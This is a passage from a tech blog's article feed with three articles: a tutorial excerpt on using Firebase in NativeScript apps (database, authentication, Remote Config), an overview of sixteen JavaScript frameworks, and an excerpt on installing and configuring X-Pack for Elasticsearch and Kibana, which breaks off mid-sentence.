starters, you’ll have APIs all over the place! While that was the point in the first place, it becomes really tedious to manage all those APIs. Secondly, when you have things running in parallel, you require a lot of processing power - more cores, more infrastructure. Another important issue is regarding security. With so many cyber attacks, and privacy breaches, an API driven architecture only invites trouble with more doors for hackers to open. So apart from the above flipside, those were some of the reasons I could think of, as to why Architects would be interested in an API driven architecture. APIs give customers, i.e both internal and external stakeholders, the freedom to leverage enterprise’s assets, while customizing as required. In a way, APIs aren’t just ways to offer integration and connectivity for large enterprise apps. Rather, they should be looked at as a way to drive faster and more modern software architecture and delivery. What are web developers favorite front-end tools? The best backend tools in web development The 10 most common types of DoS attacks you need to know
Read more
  • 0
  • 0
  • 40172

article-image-firebase-nativescript-cross-platform-app-development
Savia Lobo
22 May 2018
16 min read
Save for later

How to integrate Firebase with NativeScript for cross-platform app development

Savia Lobo
22 May 2018
16 min read
NativeScript is now considered as one of the hottest platforms attracting developers. By using XML, JavaScript (also Angular), minor CSS for the visual aspects, and the magical touch of incorporating native SDKs, the platform has adopted the best of both worlds. Plus, this allows applications to be cross-platform, which means your application can run on both Android and iOS! In this tutorial, we're going to see how we can use Firebase to create some awesome native applications. This article is an excerpt taken from the book,' Firebase Cookbook', written by Houssem Yahiaoui. Getting started with NativeScript project In order to start a NativeScript project, we will need to make our development environment Node.js ready. So, in order to do so, let's download Node.js. Head directly to https://nodejs.org/en/download/ and download the most suitable version for your OS. After you have successfully installed Node.js, you will have two utilities. One is the Node.js executable and the other will be npm or the node package manager. This will help us download our dependencies and install NativeScript locally. How to do it... In your terminal/cmd of choice, type the following command: ~> npm install -g nativescript After installing NativeScript, you will need to add some dependencies. To know what your system is missing, simply type the following command: ~> tns doctor This command will test your system and make sure that everything is in place. If not, you'll get the missing parts. In order to create a new project, you will have many options to choose from. Those options could be creating a new project with vanilla JavaScript, with Typescript, from a template, or even better, using Angular. Head directly to your working directory and type the following command: ~> tns create <application-name> This command will initialize your project and install the basic needed dependencies. With that done, we're good to start working on our NativeScript project. Adding the Firebase plugin to our application One of NativeScript's most powerful features is the possibility of incorporating truly native SDKs. So, in this context, we can install the Firebase NativeScript on Android using the normal Gradle installation command. You can also do it on iOS via a Podfile if you are running macOS and want to create an iOS application along the way. However, the NativeScript ecosystem is pluggable, which means the ecosystem has plugins that extend certain functionalities. Those plugins usually incorporate native SDKs and expose the functionalities using JavaScript so we can exploit them directly within our application. In this recipe, we're going to use the wonderfully easy-to-use Eddy Verbruggen Firebase plugin, so let's see how we can add it to our project. How to do it... Head to your terminal/cmd of choice, type the following command, and hit Return/Enter respectively: tns plugin add nativescript-plugin-firebase This command will install the necessary plugin and do the required configuration. To find out the id, open your package.json file where you will find the NativeScript value: "nativescript": { "id": "org.nativescript.<your-app-name>" } Copy the id that you found in the preceding step and head over to your Firebase project console. Create a new Android/iOS application and paste that ID over your bundle name. Download the google-service.json/GoogleServices-Info.plist files and paste google-server.json in your app/Application_Resources/Android folder if you created an Android project. If you've created an iOS project, then paste the GoogleServices-Info.plist in the app/Application_Resources/iOS folder. Pushing/retrieving data from the Firebase Real-time Database Firebase stores data in a link-based manner that allows you to add and query the information really simple. The NativeScript Firebase plugin makes the operation much simpler with an easy-to-use API. So, let's discover how we can perform such operations. In this recipe, we're going to see how we can add and retrieve data in NativeScript and Firebase. Before we begin, we need to make sure that our application is fully configured with Firebase. You will also need to initialize the Firebase plugin with the application. To do that, open your project, head to your app.js file, and add the following import code: var firebase = require("nativescript-plugin- firebase"); This will import the Firebase NativeScript plugin. Next, add the following lines of code: firebase.init({}).then((instance) => { console.log("[*] Firebase was successfully initialised"); }, (error) => { console.log("[*] Huston we've an initialization error: " + error); }); The preceding code will simply go and initialize Firebase within our application. How to do it... After initializing our application, let's see how we can push some data to our Firebase Realtime Database. Let's start first by adding our interface, which will look similar to the one (Figure 1): Figure 1: Ideas adding page. The code behind it is as follows, and you can use this to implement the addition of new data to your bucket: <Page xmlns="http://schemas.nativescript.org/tns.xsd" navigatingTo="onNavigatingTo" class="page"> <Page.actionBar> <ActionBar title="Firebase CookBook" class="action-bar"> </ActionBar> </Page.actionBar> <StackLayout class="p-20"> <TextField text="{{ newIdea }}" hint="Add here your shiny idea"/> <Button text="Add new idea to my bucket" tap="{{ addToMyBucket }}" </span>class</span>="btn btn-primary btn- active"/> </StackLayout> </Page> Now let's see the JavaScript related to this UI for our behavior. Head to your view-model and add the following snippets inside the createViewModel function: viewModel.addToMyBucket = () => { firebase.push('/ideas', { idea: viewModel.newIdea }).then((result) => { console.log("[*] Info : Your data was pushed !"); }, (error) => { console.log("[*] Error : While pushing your data to Firebase, with error: " + error); }); } If you check your Firebase database, you will find your new entry present there. Once your data is live, you will need to think of a way to showcase all your shiny, new ideas. Firebase gave us a lovely event that we shall listen to whenever a new child element is created. The following code teaches you how to create the event for showcasing the addition of new child elements: var onChildEvent = function(result) { console.log("Idea: " + JSON.stringify(result.value)); }; firebase.addChildEventListener(onChildEvent, "/ideas").then((snapshot) => { console.log("[*] Info : We've some data !"); }); After getting the newly-added child, it's up to you to find the proper way to bind your ideas. They are mainly going to be either lists or cards, but they could be any of the previously mentioned ones. To run and experience your new feature, use the following command: ~> tns run android # for android ~> tns run ios # for ios How it works... So what just happened? We defined a basic user interface that will serve us by adding those new ideas to our Firebase console application. Next, the aim was to save all that information inside our Firebase Realtime Database using the same schema that Firebase uses. This is done via specifying a URL where all your information will be stored and then specifying the data schema. This will finally hold and define the way our data will be stored. We then hooked a listener to our data URL using firebase.addChildEventListener. This will take a function where the next item will be held and the data URL that we want our listener hook to listen on. In case you're wondering how this module or service works in NativeScript, the answer is simple. It's due to the way NativeScript works; because one of NativeScript's powerful features is the ability to use native SDKs. So in this case, we're using and implementing the Firebase Database Android/iOS SDKs for our needs, and the plugin APIs we're using are the JavaScript abstraction of how we want to exploit our native calls. Authenticating using anonymous or password authentication As we all know, Firebase supports both anonymous and password-based authentication, each with its own, suitable use case. So in this recipe, we're going to see how we can perform both anonymous and password authentication. You will need to initialize the Firebase plugin with the application. To do that, open your project, head to your app.js file, and add the following import: var firebase = require("nativescript-plugin- firebase"); This will import the Firebase NativeScript plugin. Next, add the following lines of code: firebase.init({}).then((instance) => { console.log("[*] Firebase was successfully initialised"); }, (error) => { console.log("[*] Huston we've an initialization error: " + error); }); The preceding code will go and initialize Firebase within our application. How to do it... Before we start, we need to create some UI elements. Your page will look similar to this one after you finish (Figure 2): Figure 2: Application login page. Now open your login page and add the following code snippets there: <Page xmlns="http://schemas.nativescript.org/tns.xsd" navigatingTo="onNavigatingTo" class="page"> <Page.actionBar> <ActionBar title="Firebase CookBook" icon="" class="action-bar"> </ActionBar> </Page.actionBar> <StackLayout> <Label text="Login Page" textWrap="true" style="font-weight: bold; font-size: 18px; text-align: center; padding:20"/> <TextField hint="Email" text="{{ user_email }}" /> <TextField hint="Password" text="{{ user_password }}" secure="true"/&gt;<Button text="LOGIN" tap="{{ passLogin }}" class="btn btn-primary btn-active" /> <Button text="Anonymous login" tap="{{ anonLogin }}" class="btn btn-success"/> </StackLayout> </Page> Save that. Let's now look at the variables and functions in our view-model file. For that, let's implement the passLogin and anonLogin functions. The first one will be our normal email and password authentication, and the second will be our anonymous login function. To make this implementation come alive, type the following code lines on your page: viewModel.anonLogin = () => { firebase.login({ type: firebase.LoginType.ANONYMOUS }).then((result) => { console.log("[*] Anonymous Auth Response:" + JSON.stringify(result)); },(errorMessage) => { console.log("[*] Anonymous Auth Error: "+errorMessage); }); } viewModel.passLogin = () => { let email = viewModel.user_email; let pass = viewModel.user_password; firebase.login({ type: firebase.LoginType.PASSWORD, passwordOptions: { email: email, password: pass } }).then((result) => { console.log("[*] Email/Pass Response : " + JSON.stringify(result)); }, (error) => { console.log("[*] Email/Pass Error : " + error); }); } Now, simply save your file and run it using the following command: ~> tns run android # for android ~> tns run ios # for ios How it works... Let's quickly understand what we've just done in the recipe: We've built the UI we needed as per the authentication type. If we want the email and password one, we will need the respective fields, whereas, for anonymous authentication, all we need is a button. Then, for both functions, we call the Firebase login button specifying the connection type for both cases. After finishing that part, it's up to you to define what is next and to retrieve that metadata from the API for your own needs later on. Authenticating using Google Sign-In Google Sign-In is one of the most popular integrated services in Firebase. It does not require any extra hustle, has the most functionality, and is popular among many apps. In this recipe, we're going to see how we can integrate Firebase Google Sign-In with our NativeScript project. You will need to initialize the Firebase plugin within the application. To do that, open your project, head to your app.js file, and add the following line: var firebase = require("nativescript-plugin- firebase"); This will import the Firebase NativeScript plugin. Next, add the following lines of code: firebase.init({}).then((instance) => { console.log("[*] Firebase was successfully initialised"); }, (error) => { console.log("[*] Huston we've an initialization error: " + error); }); The preceding code will go and initialize Firebase within our application. We will also need to install some dependencies. For that, underneath the NativeScript-plugin-firebase folder | platform | Android | include.gradle file, uncomment the following entry for Android: compile "com.google.android.gms:play-services- auth:$googlePlayServicesVersion" Now save and build your application using the following command: ~> tns build android Or uncomment this entry if you're building an iOS application: pod 'GoogleSignIn' Then, build your project using the following command: ~> tns build ios How to do it... First, you will need to create your button. So for this to happen, please go to your login-page.xml file and add the following button declaration: <Button text="Google Sign-in" tap="{{ googleLogin }}" class="btn" style="color:red"/> Now let's implement the googleLogin() function by using the following code snippet: viewModel.googleLogin = () => { firebase.login({ type: firebase.LoginType.GOOGLE, }).then((result) => { console.log("[*] Google Auth Response: " + JSON.</span>stringify(result)); },(errorMessage) => { console.log("[*] Google Auth Error: " + errorMessage); }); } To build and experience your new feature, use the following command: ~> tns run android # for android ~> tns run ios # for ios Now, once you click on the Google authentication button, you should have the following (Figure 3): Figure 3: Account picking after clicking on Google Login button. Don't forget to add your SHA-1 fingerprint code or the authentication process won't finish. How it works... Let's explain what just happened in the preceding code: We added the new button for the Google authentication. Within the tap event of this button, we gave it the googleLogin() function. Within  googleLogin(), we used the Firebase login button giving it firebase.LoginType.GOOGLE as type. Notice that, similar to normal Google authentication on a web platform, we can also give the hd or the hostedDomain option. We could also use the option of filtering the connection hosting we want by adding the following option under the login type: googleOptions: { hostedDomain: "<your-host-name>" } The hd option or the hostedDomain is simply what's after the @ sign in an email address. So, for example, in the email ID cookbook@packtpub.com the hosted domain is packtpub.com. For some apps, you might want to limit the email ID used by users when they connect to your application to just that host. This can be done by providing only the hostedDomain parameter in the code line pertaining to the storage of the email address. When you look at the actual way we're making these calls, you will see that it's due to the powerful NativeScript feature that lets us exploit native SDK. If you remember the Getting ready section of this recipe, we uncommented a section where we installed the native SDK for both Android and iOS. Besides the NativeScript firebase plugin, you can also exploit the Firebase Auth SDK, which will let you exploit all supported Firebase authentication methods. Adding dynamic behavior using Firebase Remote Config Remote Config is one of the hottest features of Firebase and lets us play with all the different application configurations without too much of a headache. By a headache, we mean the process of building, testing, and publishing, which usually takes a lot of our time, even if it's just to fix a small float number that might be wrong. So in this recipe, we're going to see how we can use Firebase Remote Config within our application. In case you didn't choose the functionality by default when you created your application, please head to your build.gradle and Podfile and uncomment the Firebase Remote Config line in both files or in the environment you're using with your application. How to do it... Actually, the integration part of your application is quite easy. The tricky part is when you want to toggle states or alter some configuration. So think upon that heavily, because it will affect how your application works and will also affect the way you change properties. Let's suppose that within this NativeScript application we want to have a mode called Ramadan mode. We want to create this mode for a special month where we wish to offer discounts, help our users with new promos, or even change our user interface to suit the spirit of it. So, let's see how we can do that: firebase.getRemoteConfig({ developerMode: true, cacheExpirationSeconds: 1, properties: [{ key: "ramadan_promo_enabled", default: false } }).then(function (result) { console.log("Remote Config: " + JSON.stringify( result.properties.ramadan_promo_enabled)); //TODO : Use the value to make changes. }); In the preceding code, and because we are still in development mode, we set that we want the developerMode to be activated. We also set the cacheExpirationSeconds to be one second. This is important because we don't want our settings to take a long time until they affect our application during the development phase. This will set the throttled mode to true, which will make the application fetch or look for new data every second to our Firebase remote configurations. We can set the default values of each and every item within our Firebase remote configuration. This value will be the starting point for fetching any new values that might be present over the Firebase project console. Now, let's see how we can wire that value from the project console. To do this, head to your Firebase project Console | Remote Config Section | ADD YOUR FIRST PARAMETER Button (Figure 4): Figure 4: Firebase Remote Config Parameter adding section. Next, you will get a modal where you will add your properties and their values. Make sure to add the exact same one that's in your code otherwise it won't work. The following screenshot shows the PARAMETERS tab of the console where you will add the properties (Figure 5): Figure 5: While adding the new parameter After adding them, click on the PUBLISH CHANGES button (Figure 6): Figure 6: Publishing the new created Parameter. With that, you're done. Exit your application and open it back up again. Watch how your console and your application fetches the new values. Then, it's up to you and your application to make the needed changes once the values are changed. How it works... Let's explain what just happened: We added back our dependencies from the build.gradle and Podfile so we can support the functionality we want to use. We've selected and added the code that will be responsible for giving the default values and for fetching the new changes. We have also activated the developer mode, which will help out in our development and staging phases. This mode will be disabled once we're in production. We've set the cache expiration time, which is essential while being in development so we can retrieve those values in a fast way. This too will be changed in production, by giving the cache more expiration time, because we don't want to jeopardize our application with high-throttled operations every second. We've added our support config in our Firebase Remote Config parameters, gave it the necessary value, and published it. This final step will control the way our application feels and looks like each new change. We learned how to integrate Firebase with NativeScript using various recipes. If you've enjoyed this article, do check out 'Firebase Cookbook' to change the way you develop and make your app a first class citizen of the cloud.
Read more
  • 0
  • 0
  • 40139

article-image-16-javascript-frameworks-developers-should-learn-in-2019
Bhagyashree R
27 Jan 2019
14 min read
Save for later

16 JavaScript frameworks developers should learn in 2019

Bhagyashree R
27 Jan 2019
14 min read
According to Stack Overflow’s Developer Survey 2018, JavaScript is one of the most widely used programming languages. Thanks to its ever-evolving framework ecosystem to find the best solution for complex and challenging problems. Although JavaScript has spent most of its lifetime being associated with web development, in recent years, its usage seems to be expanding. Not only has it moved from front to back end, we’re also beginning to see it used for things like machine learning and augmented reality. JavaScript’s evolution is driven by frameworks. And although there are a few that seem to be leading the way, there are many other smaller tools that could be well worth your attention in 2019. Let’s take a look at them now. JavaScript web development frameworks React React was first developed by Facebook in 2011 and then open sourced in 2013. Since then it has become one of the most popular JavaScript libraries for building user interfaces. According to npm’s survey, despite a slowdown in React’s growth in 2018, it will be the dominant framework in 2019. The State of JavaScript 2018 survey designates it as “a safe technology to adopt” given its high usage satisfaction ratio and a large user base. In 2018, the React team released versions from 16.3 to 16.7 with some major updates. These updates included new lifecycle methods, Context API, suspense for code splitting, a React Profiler, Create React App 2.0, and more. The team has already laid out its plan for 2019 and will soon be releasing one of the most awaited feature, Hooks. It allows developers to access features such as state without using JavaScript classes. It aims to simplify the code for React components by allowing developers to reuse stateful logic without making any changes to the component hierarchy. Other features will include a concurrent mode to allow component tree rendering without blocking the main thread, suspense for data fetching, and more. Vue Vue was created by Evan You after working for Google using AngularJS in a number of projects. It was first released in 2014. Sharing his motivation for creating Vue, Evan said, "I figured, what if I could just extract the part that I really liked about Angular and build something really lightweight."  Vue has continued to show great adoption among JavaScript developers and I doubt this trend is going to stop anytime soon. According to the npm survey, some developers prefer Vue over React because they feel that it is “easier to get started with, while maintaining extensibility.” Vue is a library that allows developers to build interactive web interfaces. It provides data-reactive components, similar to React, with a simple and flexible API. Unlike React or Angular, one of the benefits of Vue is the clean HTML output it produces. Other JavaScript libraries tend to leave the HTML scattered with extra attributes and classes in the code, whereas Vue removes these to produce clean, semantic output. It provides advanced feature such as routing, state management, and build tooling for complex applications via officially maintained supporting libraries and packages. Angular Google developed AngularJS in 2009 and released its first version in 2012. Since then it saw enthusiastic support and widespread adoption among both enterprises and individuals. AngularJS was originally developed for designers, not developers. While it did saw a few evolutionary improvements in its design, they were not enough to fulfill developer requirements. The later versions, Angular 2, Angular 4, and so on have been upgraded to provide an overall improvement in performance, especially in speed and dependency injection. The new version is simply called Angular, a platform and framework that allows developers to build client applications in HTML and TypeScript. It comes with declarative templates, dependency injection, end to end tooling, and integrated best practices to solve development challenges. While the architecture of AngularJS is based on model-view-controller (MVC) design, Angular has a component-based architecture. Every Angular application consists of at least one component known as the root component. Each component is associated to a class that’s responsible for handling the business logic and a template that represents the view layer. Node.js There has been a lot of debate around whether Node is a framework (it’s really a library), but when talking about web development it is very hard to skip it. Node.js was originally written by Ryan Dahl, which he demonstrated at the the inaugural European JSConf on November 8, 2009. Node.js is an free, open-source, cross-platform JavaScript run-time environment that executes JavaScript code outside of a browser. Node.js follows a "JavaScript everywhere" paradigm by unifying web application development around a single programming language, rather than different languages for server side and client side scripts. At the JSConf 2018, Dahl described some limitations about his server-side JavaScript runtime engine. Many parts of its architecture suffer from limitations including security and how modules are managed. As a solution to this he introduced a new software project, called Deno, a secure TypeScript runtime on V8 JavaScript engine that sets out to correct some of the design flaws in Node.js.   Cross-platform mobile development frameworks React Native The story of React Native started in the summer of 2013 as Facebook’s internal hackathon project and it was later open sourced in 2015. React Native is a JavaScript framework used to build native mobile applications. As you might have already guessed from its name, React Native is based on React, that we discussed earlier. The reason why it is called “native” is that the UI built with React Native consists of native UI widgets that look and feel consistent with the apps you built using native languages. Under the hood, React Native translates your UI definition written in Javascript/JSX into a hierarchy of native views correct for the target platform. For example, if we are building an iOS app, it will translate the Text primitive to a native iOS UIView, and in Android, it will result with a native TextView. So, even though we are writing a JavaScript application, we do not get a web app embedded inside the shell of a mobile one. We are getting a “real native app”. NativeScript NativeScript was developed by Telerik (a subsidiary of Progress) and first released in 2014. It’s an open source framework that helps you build apps using JavaScript or any other language that transpiles to JavaScript, for example, TypeScript. It directly supports the Angular framework and supports the Vue framework via a community-developed plugin. Mobile applications built with NativeScript result in fully native apps, which use the same APIs as if they were developed in Xcode or Android Studio. Since the applications are built in JavaScript there is a need for some proxy mechanism to translate JavaScript code to the corresponding native APIs. This is done by the runtime parts of NativeScript, which act as a “bridge” between the JavaScript and the native world (Android and iOS). The runtimes facilitate calling APIs in the Android and iOS frameworks using JavaScript code. To do that JavaScript Virtual Machines are used – Google’s V8 for Android and WebKit’s JavaScriptCore implementation distributed with iOS 7.0+. Ionic Framework The Ionic framework was created by Drifty Co. and initially released in 2013. It is an open source, frontend SDK for developing hybrid mobile apps with familiar web technologies such as HTML5, CSS, and JavaScript. With Ionic, you will be able to build and deploy apps that work across multiple platforms, such as native iOS, Android, desktop, and the web as a Progressive Web App. Ionic is mainly focused on an application’s look and feel, or the UI interaction. This tells us that it’s not meant to replace Cordova or your favorite JavaScript framework. In fact, it still needs a native wrapper like Cordova to run your app as a mobile app. It uses these wrappers to gain access to host operating systems features such as Camera, GPS, Flashlight, etc. Ionic apps run in low-level browser shell like UIWebView in iOS or WebView in Android, which is wrapped by tools like Cordova/PhoneGap. JavaScript Desktop application development frameworks Electron Electron was created by Cheng Zao, a software engineer at GitHub. It was initially released in 2013 as Atom Shell and then was renamed to Electron in 2015. Electron enables web developers to use their existing knowledge and native developers to build one codebase and ship it for each platform separately. There are many popular apps that are build with Electron including Slack, Skype for Linux, Simplenote, and Visual Studio Code, among others. An Electron app consists of three components: Chromium web engine, a Node.js interpreter, and your application’s source code. The Chromium web engine is responsible for rendering the UI. The Node.js interpreter executes JavaScript and provides your app access to OS features that are not available to the Chromium engine such as filesystem access, networking, native desktop functions, etc. The application’s source code is usually a combination of JavaScript, HTML, and CSS. JavaScript Machine learning frameworks Tensorflow.js At the TensorFlow Dev Summit 2018, Google announced the JavaScript implementation of TensorFlow, their machine learning framework, called TensorFlow.js. It is the successor of deeplearn.js, which was released in August 2017, and is now named as TensorFlow.js Core. The team recently released Node.js bindings for TensorFlow, so now the same JavaScript code will work on both the browser and Node.js. Tensorflow.js consists of four layers, namely the WebGL API for GPU-supported numerical operations, the web browser for user interactions, and two APIs: Core and Layers. The low-level Core API corresponds to the former deeplearn.js library, which provides hardware-accelerated linear algebra operations and an eager API for automatic differentiation. The higher-level Layers API is used to build machine-learning models on top of Core. It also allow developers to import models previously trained in Python with Keras or TensorFlow SavedModels and use it for inference or transfer learning in the browser. Brain.js Brain.js is a library of neural network written in JavaScript, a continuation of the “brain” library, which can be used with Node.js or in the browser. It simplifies the process of creating and training a neural network by utilizing the ease-of-use of JavaScript and by limiting the API to just a few method calls and options. It comes with different types of networks for different tasks, which include a feedforward neural network with backpropagation, time step recurrent neural network, time step long short term memory neural network, among others. JavaScript augmented reality and virtual reality frameworks React 360 In 2017, Facebook and Oculus together introduced React VR, which was revamped and rebranded last year as React 360. This improved version simplifies UI layout in 3D space and is faster than React VR. Built on top of React, which we discussed earlier, React 360 is a JavaScript library that enables developers to create 3D and VR interfaces. It allows web developers to use familiar tools and concepts to create immersive 360 experiences on the web. An application built with React 360 consists of two pieces, namely, your React application and runtime, which turns your components into 3D elements on the screen. This “division of roles” concept is similar to React Native. As web browsers are single-threaded, the app code is separated from the rendering code to avoid any blocking behavior in the app. By running the app code in a separate context, the rendering loop is allowed to consistently update at a high frame rate. AR.js AR.js was developed by Jerome Etienne in 2017 with the aim of implementing augmented reality efficiently on the web. It currently gives efficiency of 60fps, which is not bad for an open source web-based solution. The library was inspired by projects like three.js, ARToolKit 5, emscripten and Chromium. AR.js requires WebGL, a 3D graphics API for the HTML5 Canvas element, and WebRTC, a set of browser APIs and protocols that allow for real-time communications of audio, video, and data in web browsers and native apps. Leveraging features in ARToolKit and A-Frame, AR.js makes the development of AR for the web a straightforward process that can be implemented by novice coders. New and emerging JavaScript frameworks Gatsby.js The creator of Gatsby, Kyle Mathews, quit his startup job in 2017 and started focusing full-time on his side projects: Gatsby.js and Typography.js. Gatsby.js was initially released in 2015 and its first version came out in 2017. It is a modern site generator for React.js, which means everything in Gatsby is built using components. With Gatsby, you can create both dynamic and static websites/web apps ranging from simple blogs, e-commerce websites to user dashboards. Gatsby supports many database sources such as Markdown files, a headless CMS like Contentful or WordPress, or a REST or GraphQL API, which you can consolidate via GraphQL. It also makes things like code splitting, image optimization, inlining critical styles, lazy-loading, and prefetching resources easier by automating them. Next.js Next.js was created by ZEIT and open sourced in 2016. Built on top of React, Webpack, and Babel, Next.js is a small JavaScript framework that enables an easy server-side rendering of React applications. It provides features like automatic code splitting, simple client-side routing, Webpack-based dev environment which supports HMR, and more. It aims to help developers write an isomorphic React application, so that the same rendering logic can be used for both client-side and server-side rendering. Next.js basically allows you to write a React app, with the SSR and things like code splitting being taken care of for you. It supports two server-side rendering modes: on demand and static export. On demand rendering means for each request, a unique page is rendered. This property is great for web apps that are highly dynamic, in which content changes often, have a login state, and similar use cases. This mode requires having a Node.js server running. While static export on other hand renders all pages to .html files up-front and serves them using any file server. This mode does not require a Node.js server running and the HTML can run anywhere. Nuxt.js Nuxt.js was originally created by the Chopin brothers, Alexandre and Sébastien Chopin and released in 2016. In January 2018, it was updated to a production-ready 1.0 version and is backed by an active and well-supported community. It is a higher-level framework inspired by Next.js, which builds on top of the Vue.js ecosystem and simplifies the development of universal or single page Vue.js applications. Under the hood, Nuxt.js uses webpack with vue-loader and babel-loader to bundle, code-split and minify your code. One of the perks of using Nuxt,js is that it provides a nuxt generate command, which generates a completely static version of your Vue application using the same codebase. In addition to that, it provides features for the development between the client side and the server side such as Asynchronous Data, Middleware, Layouts, etc. NestJS NestJS was created by Kamil Mysliwiec and released in 2017. It is a framework for effortlessly building efficient, reliable, and scalable Node.js server-side applications. It builds on top of TypeScript and JavaScript (ES6, ES7, ES8) and is heavily inspired by Angular as both use a Module/Component system that allows for reusability. Under the hood, NestJS uses Express, and is also compatible with a wide range of other libraries, for example, Fastify. For most of its abstractions, it uses classes and leverages the benefits of decorators and metadata reflection that classes and TypeScript bring. It comes with concepts like guards, pipes, and interceptors, and built-in support for other transports like WebSockets and gRPC. These were some of my picks from the plethora of JavaScript frameworks. You surely don't have to be an expert in all of them. Play with them, read the documentation, get an overview of their features. Before you start using a framework you can check it for few things such as the problems it solve, any other frameworks which do the same things better, if it aligns with your project requirement, which type of projects would this framework be ideal for, etc. If that framework appeals to you, maybe try to build a project with one. npm JavaScript predictions for 2019: React, GraphQL, and TypeScript are three technologies to learn 4 key findings from The State of JavaScript 2018 developer survey JavaScript mobile frameworks comparison: React Native vs Ionic vs NativeScript
Read more
  • 0
  • 0
  • 40135

article-image-installing-configuring-x-pack-elasticsearch-kibana
Pravin Dhandre
20 Feb 2018
6 min read
Save for later

Installing and Configuring X-pack on Elasticsearch and Kibana

Pravin Dhandre
20 Feb 2018
6 min read
[box type="note" align="" class="" width=""]This article is an excerpt from a book written by Pranav Shukla and Sharath Kumar M N titled Learning Elastic Stack 6.0. This book provides detailed coverage on fundamentals of Elastic Stack, making it easy to search, analyze and visualize data across different sources in real-time.[/box] In this short tutorial, we will show step-by-step installation and configuration of X-pack components in Elastic Stack to extend the functionalities of Elasticsearch and Kibana. As X-Pack is an extension of Elastic Stack, prior to installing X-Pack, you need to have both Elasticsearch and Kibana installed. You must run the version of X-Pack that matches the version of Elasticsearch and Kibana. Installing X-Pack on Elasticsearch X-Pack is installed just like any plugin to extend Elasticsearch. These are the steps to install X-Pack in Elasticsearch: Navigate to the ES_HOME folder. Install X-Pack using the following command: $ ES_HOME> bin/elasticsearch-plugin install x-pack During installation, it will ask you to grant extra permissions to X-Pack, which are required by Watcher to send email alerts and also to enable Elasticsearch to launch the machine learning analytical engine. Specify y to continue the installation or N to abort the installation. You should get the following logs/prompts during installation: -> Downloading x-pack from elastic [=================================================] 100% @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: plugin requires additional permissions @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ * java.io.FilePermission .pipe* read,write * java.lang.RuntimePermissionaccessClassInPackage.com.sun.activation.registries * java.lang.RuntimePermission getClassLoader * java.lang.RuntimePermission setContextClassLoader * java.lang.RuntimePermission setFactory * java.net.SocketPermission * connect,accept,resolve * java.security.SecurityPermission createPolicy.JavaPolicy * java.security.SecurityPermission getPolicy * java.security.SecurityPermission putProviderProperty.BC * java.security.SecurityPermission setPolicy * java.util.PropertyPermission * read,write * java.util.PropertyPermission sun.nio.ch.bugLevel write See http://docs.oracle.com/javase/8/docs/technotes/guides/security/permissions.html for descriptions of what these permissions allow and the associated Risks. Continue with installation? [y/N]y @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: plugin forks a native controller @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ This plugin launches a native controller that is not subject to the Java security manager nor to system call filters. Continue with installation? [y/N]y Elasticsearch keystore is required by plugin [x-pack], creating... -> Installed x-pack Restart Elasticsearch: $ ES_HOME> bin/elasticsearch Generate the passwords for the default/reserved users—elastic, kibana, and logstash_system—by executing this command: $ ES_HOME>bin/x-pack/setup-passwords interactive You should get the following logs/prompts to enter the password for the reserved/default users: Initiating the setup of reserved user elastic,kibana,logstash_system passwords. You will be prompted to enter passwords as the process progresses. Please confirm that you would like to continue [y/N]y Enter password for [elastic]: elastic Reenter password for [elastic]: elastic Enter password for [kibana]: kibana Reenter password for [kibana]:kibana Enter password for [logstash_system]: logstash Reenter password for [logstash_system]: logstash Changed password for user [kibana] Changed password for user [logstash_system] Changed password for user [elastic] Please make a note of the passwords set for the reserved/default users. You can choose any password of your liking. We have chosen the passwords as elastic, kibana, and logstash for elastic, kibana, and logstash_system users, respectively, and we will be using them throughout this chapter. To verify the X-Pack installation and enforcement of security, point your web browser to http://localhost:9200/ to open Elasticsearch. You should be prompted to log in to Elasticsearch. To log in, you can use the built-in elastic user and the password elastic. Upon a successful log in, you should see the following response: { name: "fwDdHSI", cluster_name: "elasticsearch", cluster_uuid: "08wSPsjSQCmeRaxF4iHizw", version: { number: "6.0.0", build_hash: "8f0685b", build_date: "2017-11-10T18:41:22.859Z", build_snapshot: false, lucene_version: "7.0.1", minimum_wire_compatibility_version: "5.6.0", minimum_index_compatibility_version: "5.0.0" }, tagline: "You Know, for Search" } A typical cluster in Elasticsearch is made up of multiple nodes, and X-Pack needs to be installed on each node belonging to the cluster. To skip the install prompt, use the—batch parameters during installation: $ES_HOME>bin/elasticsearch-plugin install x-pack --batch. Your installation of X-Pack will have created folders named x-pack in bin, config, and plugins found under ES_HOME. We shall explore these in later sections of the chapter. Installing X-Pack on Kibana X-Pack is installed just like any plugins to extend Kibana. The following are the steps to install X-Pack in Kibana: Navigate to the KIBANA_HOME folder. Install X-Pack using the following command: $KIBANA_HOME>bin/kibana-plugin install x-pack You should get the following logs/prompts during installation: Attempting to transfer from x-pack Attempting to transfer from https://artifacts.elastic.co/downloads/kibana-plugins/x-pack/x-pack -6.0.0.zip Transferring 120307264 bytes.................... Transfer complete Retrieving metadata from plugin archive Extracting plugin archive Extraction complete Optimizing and caching browser bundles... Plugin installation complete Add the following credentials in the kibana.yml file found under $KIBANA_HOME/config and save it: elasticsearch.username: "kibana" elasticsearch.password: "kibana" If you have chosen a different password for the kibana user during password setup, use that value for the elasticsearch.password property. Start Kibana: $KIBANA_HOME>bin/kibana To verify the X-Pack installation, go to http://localhost:5601/ to open Kibana. You should be prompted to log in to Kibana. To log in, you can use the built-in elastic user and the password elastic. Your installation of X-Pack will have created a folder named x-pack in the plugins folder found under KIBANA_HOME. You can also optionally install X-Pack on Logstash. However, X-Pack currently supports only monitoring of Logstash. Uninstalling X-Pack To uninstall X-Pack: Stop Elasticsearch. Remove X-Pack from Elasticsearch: $ES_HOME>bin/elasticsearch-plugin remove x-pack Restart Elasticsearch and stop Kibana 2. Remove X-Pack from Kibana: $KIBANA_HOME>bin/kibana-plugin remove x-pack Restart Kibana. Configuring X-Pack X-Pack comes bundled with security, alerting, monitoring, reporting, machine learning, and graph capabilities. By default, all of these features are enabled. However, one might not be interested in all the features it provides. One can selectively enable and disable the features that they are interested in from the elasticsearch.yml and kibana.yml configuration files. Elasticsearch supports the following features and settings in the elasticsearch.yml file: Kibana supports these features and settings in the kibana.yml file: If X-Pack is installed on 